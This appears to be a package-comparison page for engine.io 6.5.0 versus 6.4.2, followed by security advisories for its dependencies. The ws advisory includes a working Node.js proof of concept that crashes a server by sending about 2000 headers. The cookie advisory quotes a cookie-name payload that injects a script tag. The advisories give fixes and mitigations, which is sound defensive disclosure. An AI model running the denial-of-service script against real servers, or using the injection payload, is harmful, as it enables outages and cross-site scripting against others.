Engine.io, the foundation for real-time bidirectional communication powering Socket.IO, offers two versions, 6.5.0 and 6.4.2, with subtle yet noteworthy distinctions for developers. Version 6.5.0, released on June 16, 2023, brings an updated engine.io-parser dependency, moving from version 5.0.3 in 6.4.2 to version 5.1.0. This potentially entails bug fixes, performance improvements, or new features within the parsing mechanism itself. Developers should investigate the engine.io-parser changelog for specific details. A minor update is also reflected in the engine.io-client dev dependency, updated to version 6.5.0 to match the core package, and uWebSockets.js updated from v20.15.0 to v20.30.0 which could indicate upgrades related to WebSockets performance or new feature integration.
The later version also comes with an increased unpacked size (162883 bytes vs 155028 bytes) and file count (34 vs 32), suggesting the addition of new assets, code, or documentation. Otherwise, critical dependencies like ws, cors, debug, and @types/node remain consistent, ensuring compatibility and similar functionality in areas of core feature parity. Developers upgrading should pay close attention to breaking changes from the updated dependencies, especially engine.io-parser, considering implications for existing implementations. Choosing between the versions depends on project needs, prioritizing either the stable, thoroughly tested 6.4.2 or the potentially enhanced but newer 6.5.0.
Be sure to check the changelogs in github for the involved libraries.
All the vulnerabilities related to the version 6.5.0 of the package
ws affected by a DoS when handling a request with many HTTP headers
A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size
and/or the maxHeaderSize
options so that no more headers than the server.maxHeadersCount
limit can be sent.server.maxHeadersCount
to 0
so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
cookie accepts cookie name, path, and domain with out of bounds characters
The cookie name could be used to set other fields of the cookie, resulting in an unexpected cookie value. For example, serialize("userName=<script>alert('XSS3')</script>; Max-Age=2592000; a", value)
would result in "userName=<script>alert('XSS3')</script>; Max-Age=2592000; a=test"
, setting userName
cookie to <script>
and ignoring value
.
A similar escape can be used for path
and domain
, which could be abused to alter other fields of the cookie.
Upgrade to 0.7.0, which updates the validation for name
, path
, and domain
.
Avoid passing untrusted or arbitrary values for these fields, ensure they are set by the application instead of user input.